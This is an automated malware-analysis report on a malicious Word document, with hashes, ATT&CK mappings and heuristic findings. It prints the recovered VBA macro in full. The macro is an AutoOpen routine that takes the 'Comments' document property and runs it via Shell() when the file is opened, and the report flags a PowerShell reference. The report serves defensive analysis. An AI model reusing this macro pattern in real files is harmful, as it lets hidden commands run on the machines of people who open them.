Office (OLE) malware analysis — malicious · 27d168e2e752d50e

MALICIOUS

Office (OLE)

33.5 KB Created: 2017-12-06 19:34:00 Authoring application: Microsoft Office Word First seen: 2018-01-23

MD5: 1e9109ede615a9e83bb7327943baf89c SHA-1: 0fa64c29cbe1234850d04776e5853c39b8ca9b1f SHA-256: 27d168e2e752d50e2a24c94a79f3136f85e19d84a437b29bc94cf061c455742e

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro iterates through document properties, extracts a value from the 'Comments' property, and executes it using the Shell() function. This indicates the document is designed to run arbitrary commands, likely to download and execute a second-stage payload.

Heuristics 7

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
        ps = prop.Value
        Shell (ps)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
 Sub AutoOpen()
```
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 488 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	488 bytes
SHA-256: `5fb4b51e76560fede3bcad4dc26573a8ecb41cb90c61bc7423e02fdc53deb703`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() For Each prop In ActiveDocument.BuiltInDocumentProperties If prop.Name = "Comments" Then ps = prop.Value Shell (ps) End If Next End Sub

SHA-256: 5fb4b51e76560fede3bcad4dc26573a8ecb41cb90c61bc7423e02fdc53deb703

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

 Sub AutoOpen()
 
 
 For Each prop In ActiveDocument.BuiltInDocumentProperties

    If prop.Name = "Comments" Then

        ps = prop.Value
        Shell (ps)

    End If

 Next
End Sub

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